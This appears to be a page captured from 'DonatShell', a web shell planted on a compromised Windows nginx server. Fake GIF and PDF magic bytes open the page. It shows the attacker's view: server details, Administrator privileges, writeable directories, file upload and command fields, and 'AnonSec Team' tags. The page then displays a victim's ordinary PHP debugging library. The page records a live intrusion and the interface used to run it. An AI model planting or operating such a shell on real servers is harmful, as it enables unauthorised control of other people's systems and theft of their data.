GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/functions_debug.phpinc.cloak
<?
// common/functions_debug.phpinc
// Setup up debugging functions.

if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")\n<ol>\n";

// setDebugOff($text,$value)
// Sets $debugOn to true or false. false is the default.
function setDebugOff($text='',$value=false) {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	setDebugOn($text,false,$debug_backtrace);
}

// setDebugOn($text,$value,$debug_backtrace)
// Sets $debugOn to true or false. true is the default.
function setDebugOn($text='',$value=true,$debug_backtrace=false) {
	if (!$debug_backtrace) $debug_backtrace = debug_backtrace();
	global $TRACK;
	global $debugOn;
	global $TRACK;
	$debugOn = $value;
	if ($TRACK != '') if ($debugOn) {
		$_SESSION['TRACK'] .= '<li><span class="ok">Debug turned on '.$text.'</span><span class="pv_fl">: '.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].'</span>'."</li>\n";
	} else {
		$_SESSION['TRACK'] .= '<li><span class="error">Debug turned off'.$text.'</span><span class="pv_fl">: '.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].'</span>'."</li>\n";
	}
	if ($TRACK != '') if ($_SESSION['DEBUG']) {
		$_SESSION['TRACK'] .= '<li><span class="ok">$_SESSION[\'DEBUG\'] is on</span><span class="pv_fl">: '.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].'</span>'."</li>\n";
	} else {
		$_SESSION['TRACK'] .= '<li><span class="error">$_SESSION[\'DEBUG\'] is off</span><span class="pv_fl">: '.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].'</span>'."</li>\n";
	}
}

// DebugOn()
// Return true if $_SESSION['DEBUG'] or $debugOn are true else  false.
function debugOn() {
	global $debugOn;
	if ((isset($_SESSION['DEBUG']) && $_SESSION['DEBUG']) || (isset($debugOn) && $debugOn)) { return true; } else { return false; }
}

// errorHandler($errno, $errstr, $errfile, $errline)
// General errorHandler.
function errorHandler($errno, $errstr, $errfile, $errline) {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	switch ($errno) {
		case E_COMPILE_ERROR:
			echo "<b>COMPILE_ERROR</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_COMPILE_WARNING:
			echo "<b>COMPILE_WARNING</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_CORE_ERROR:
			echo "<b>CORE_ERROR</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_CORE_WARNING:
			echo "<b>CORE_WARNING</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_ERROR:
			echo "<b>ERROR</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_NOTICE:
			echo "<b>NOTICE</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_PARSE:
			echo "<b>PARSE</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_USER_ERROR:
			echo "<b>USER_ERROR</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			echo "  Fatal error in line $errline of file $errfile";
			echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
			echo "Aborting...<br />\n";
			exit(1);
			break;
		case E_USER_NOTICE:
			echo "<b>USER_NOTICE</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_USER_WARNING:
			echo "<b>USER_WARNING</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		case E_WARNING:
			echo "<b>WARNING</b> #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
		default:
			echo "Unknown error type: #$errno in file:$errfile line:$errline. $errstr<br />\n";
			break;
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($errno, $errstr, $errfile, $errline)".": ".'<span class="pv_fl">'.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].'</span>'."</li>\n";
}

// printQuery($resultName,$result)
// Displays a SQL query in HTML table format with the calling file and line number.
// $resultName - The name of the query.
//     $result - The query.
// RETURNS:
// true if there is data in the result set.
// false if there is no data in the result.
function printQuery($resultName,$result) {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	echo "<div class=\"left\"><span class = \"error\">",$resultName,"=</span> ".' <span class="pv_fl">'.basename($debug_backtrace['0']['file']).': '.$debug_backtrace['0']['line'].': '.$debug_backtrace['0']['file'].'</span>'."<br />\n";
	//get the first row in the table:
	if(!mysql_num_rows($result)) {
		echo "null</div>\n";
		return false;
	}
	//set up the table:
	print("<table><tr>");
	//print the column names as table headers:
	mysql_data_seek($result, 0);
	$row = mysql_fetch_assoc($result);
	foreach($row as $key=>$value) {
		print("<th>$key</th>");
	}
	print("</tr>");
	//loop through the table, printing
	//the field values in table cells:
	mysql_data_seek($result, 0);
	while ($row = mysql_fetch_assoc($result)) {
		print("<tr>");
		foreach($row as $key=>$value) {
			if (stristr($key,'password') || stristr($key,'pw') || stristr($key,'userPassword')) $value = base64_encode($value);
			print("<td>$value</td>");
		}
		print("</tr>");
	}
	//close out the table:
	print("</tr></table></div>");
	mysql_data_seek($result, 0);
	return true;
}

function pVar(&$var,$varDisplay = 'f',$varShow = true) {
	// Get the variable name.
	// Use with &$var instead of $var 
	$passed = $var;
	$varName = '';
	$var = 'Jim_'.rand().'_Martinson';
	foreach ($GLOBALS as $k => $v) {
		if ($v === $var) {
			$varName = $k;
			break;
		}
	}
	if (empty($varName)) {
		$varName = '[name_not_found]';
	}
	$var = $passed;
	printVar($varName,$var,$varDisplay,$varShow,debug_backtrace());
}
function printLine($text='') {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	if ($text) {
		echo $text.' <span class="pv_fl">'.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].': '.$debug_backtrace['0']['file'].'</span>'."<br />\n";
	} else {
		echo basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line']."<br />\n";
	}
}

// printVar($varName,$var,$varDisplay,$varShow)
// Displays the value of a variable or array with the calling file and line number.
//    $varName = The name of the variable.
//        $var = The variable.
// $varDisplay = b = show br before output.
//               f = show calling file name and line.
//               n = =$var is not shown.
//               p = show passwords. Othwewise keys with 'password' or 'pw' in the key name are hidden.
//               i = show varName using class="info".
//               a = show varName using class="attention".
//               w = show varName using class="warning".
//               e = show varName using class="error".
//               s = show varName using class="pv_as".
//               'bfp' would show a br before output, show calling file name and line, and show passwords.
//               'bpe' would show a br before output, show varName using class="error", and show passwords.
//               default is f for non array variables and fa for arrays.
//    $varShow = true = display printVar
//               false = add printVar to $_SESSION['TRACKdata'].
//               default is true.
function printVar($varName,$var,$varDisplay = 'f',$varShow = true,$debug_backtrace = false) {
	if (!$debug_backtrace) {
		$debug_backtrace = debug_backtrace();
	}
	global $TRACK;
	$bShow = (stripos($varDisplay,'b') !== false ? '<br />' : '');
	#$cShow = (stripos($varDisplay,'i') !== false ? ' class="info"' : '');
	$cShow = '';
	if ($cShow == '') $cShow = (stripos($varDisplay,'a') !== false ? ' class="attention"' : '');
	if ($cShow == '') $cShow = (stripos($varDisplay,'e') !== false ? ' class="error"' : '');
	if ($cShow == '') $cShow = (stripos($varDisplay,'i') !== false ? ' class="info"' : '');
	if ($cShow == '') $cShow = (stripos($varDisplay,'s') !== false ? ' class="pv_as"' : '');
	if ($cShow == '') $cShow = (stripos($varDisplay,'w') !== false ? ' class="warning"' : '');
	if ($cShow == '') if (is_array($var)) $cShow = ' class="pv_a"';
	if ($cShow == '') $cShow = ' class="pv_v"';
	$fShow = (stripos($varDisplay,'f') !== false ? ' <span class="pv_fl">'.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line'].': '.$debug_backtrace['0']['file'].'</span>' : '');
	$nShow = (stripos($varDisplay,'n') !== false ? false : true);
	$pShow = (stripos($varDisplay,'p') !== false ? true : false);
	$printVarArray_Debug = false;
	if ($printVarArray_Debug) {
		$l1 = ' <span class="attention">l1</span>'; $l2 = ' <span class="attention">l2</span>'; $l3 = ' <span class="attention">l3</span>'; $l4 = ' <span class="attention">l4</span>'; $l5 = ' <span class="attention">l5</span>';
	} else {
		$l1 = ''; $l2 = ''; $l3 = ''; $l4 = ''; $l5 = '';
	}
	$displayTrack = '<div class="left">'.$l1;
	if (isset($var)) {
		if (!is_array($var)) {
			if ($var === true) {
				$displayTrack .= "$bShow<span$cShow>$varName===</span>true$fShow\n".$l2;
			} else {
				if ($var === false) {
					$displayTrack .= "$bShow<span$cShow>$varName===</span>false$fShow\n".$l2;
				} else {
					if ($nShow) {
						$displayTrack .= "$bShow<span$cShow>$varName == </span>".htmlView($var)."$fShow\n".$l2;
					} else {
						$displayTrack .= "$bShow<span$cShow>$varName</span>"."$fShow\n".$l2;
					}
				}
			}
		} else {
			$displayTrack .= printVarArray($varName,$var,'',$bShow,$cShow,$fShow,$pShow,$printVarArray_Debug).$l3;
		}
	} else {
		$displayTrack .= "$bShow<span$cShow>$varName</span> is unset.$fShow\n".$l4;
	}
	$displayTrack .= "</div>\n".$l5;
	if ($varShow) {
		echo $displayTrack;
	} else {
		track($displayTrack);
	}
	unset($displayTrack);
	return $varShow;
}

// printVarArray($var,$keys,$bShow,$cShow,$fShow,$pShow);
// Called from printVar to print an array variable.
function printVarArray($varName,$var,$keys,$bShow,$cShow,$fShow,$pShow,$printVarArray_Debug) {
	$displayTrack = "$bShow<span$cShow>".$varName."=</span>$fShow<br />\n";
	$bShow = '';
	if ($cShow == ' class="pv_a"') $cShow = ' class="pv_as"';
	#$displayTrack .= "\$varName=".$varName." \$cShow=".$cShow."<br>\n";
	#global $printVar;
	#$printVarCount++;
	if ($printVarArray_Debug) {
		$l6 = ' <span class="attention">l6</span>'; $l7 = ' <span class="attention">l7</span>';
	} else {
		$l6 = '';  $l7 = ''; 
	}
	foreach ($var as $key => $value) {
		if (!is_array($value)) {
			if (!$pShow && (stristr($key,'password') || stristr($key,'pw') || stristr($key,'userPassword'))) $value = base64_encode($value);
			if ($value === true) {
				$displayTrack .= '<span class="pv_v">'.$varName."['".$key."']===</span>true<br />\n";
			} else {
				if ($value === false) {
					$displayTrack .= '<span class="pv_v">'.$varName."['".$key."']===</span>false<br />\n";
				} else {
					$displayTrack .= '<span class="pv_v">'.$varName."['".$key."'] == </span>".htmlView($value).$l6."<br />\n";
				}
			}
			$bShow = '';
		} else {
			$displayTrack .= "".printVarArray($varName."['".$key."']",$value,$keys."['".$key."']",$bShow,$cShow,$fShow,$pShow,$printVarArray_Debug).$l7."";
			$bShow = '';
		}
	}
	return $displayTrack;
}

/********************************************
* printTable outputs any SQL table in an    *
* HTML tabular format.                      *
* ARGUMENTS:                                *
* $result :	the return value of a call  *
*		to mysql_query()            *
* RETURNS:                                  *
* true if there is data in the result set   *
* false if there is no data in the result   *
* set					    *
********************************************/
function printTable($result) {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	//get the first row in the table:
	if(!$row = mysql_fetch_assoc($result)) {
		return false;
	}
	//set up the table:
	print("<table><tr>");
	//print the column names as table headers:
	foreach($row as $key=>$value) {
		print("<th>$key</th>");
	}
	print("</tr>");
	//loop through the table, printing
	//the field values in table cells:
	do {
		print("<tr>");
		foreach($row as $key=>$value) {
			print("<td>$value</td>");
		}
		print("</tr>");
	}
	while ($row = mysql_fetch_assoc($result));
	//close out the table:
	print("</tr></table>");
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($result)".": ".'<span class="pv_fl">'.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return true;
}

// track($trackLine = 0,$track_li = true,$track_html = false)
// Add a track line
function track($trackLine = 0,$track_li = true,$track_html = false) {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	if (!isset($TRACK)) $TRACK = false;
	if ($TRACK) {
		if (!isset($_SESSION['TRACKdata'])) $_SESSION['TRACKdata'] = '<span class="bold warning">TRACKing unset.</span> In '.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line'].': '.basename($debug_backtrace['0']['file'])."<br />\n";
		if ($track_html) $trackLine = htmlView($trackLine);
		if ($track_li) {
			 $_SESSION['TRACKdata'] .= "<li>".$trackLine.":".$debug_backtrace['0']['line']."</li>\n";
		} else {
			$_SESSION['TRACKdata'] .= $trackLine.":".$debug_backtrace['0']['line']."\n";
		}
	}
}

// trackBegin()
// Begin tracking for this page.
function trackBegin() {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	global $thisFile; global $thisLine;
	if (!isset($TRACK)) $TRACK = false;
	if ($TRACK) {
		if (!isset($_SESSION['TRACKdata'])) $_SESSION['TRACKdata'] = '<span class="bold warning">TRACKing unset.</span> In '.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line'].': '.basename($debug_backtrace['0']['file'])."<br />\n";
		$_SESSION['TRACKdata'] = '<li>'.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line'].'<span class="pv_fl">: '.basename($debug_backtrace['0']['file'])."</span><br />\n";
		$_SESSION['TRACKdata'] .= '<li>Tracking started<span class="pv_fl">: '.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line'].': '.$debug_backtrace['0']['file']."</span></li>\n<ol>\n";
	}
}

// trackEnd()
// End tracking for this page.
function trackEnd() {
	$debug_backtrace = debug_backtrace(); global $TRACK;
	if (!isset($TRACK)) $TRACK = false;
	#if (!isset($_SESSION['TRACKdata'])) $_SESSION['TRACKdata'] = '';
	if ($TRACK) {
		if (!isset($_SESSION['TRACKdata'])) $_SESSION['TRACKdata'] = '<span class="bold warning">TRACKing unset.</span> In '.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line'].': '.basename($debug_backtrace['0']['file'])."<br />\n";
		$_SESSION['TRACKdata'] .= '<li></li></ol>'.basename($debug_backtrace['0']['file']).':'.$debug_backtrace['0']['line']." end:.</li>\n";
	}
}

if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= "</ol>End ".basename(__FILE__)."\n";
?>

Anon7 - 2022
AnonSec Team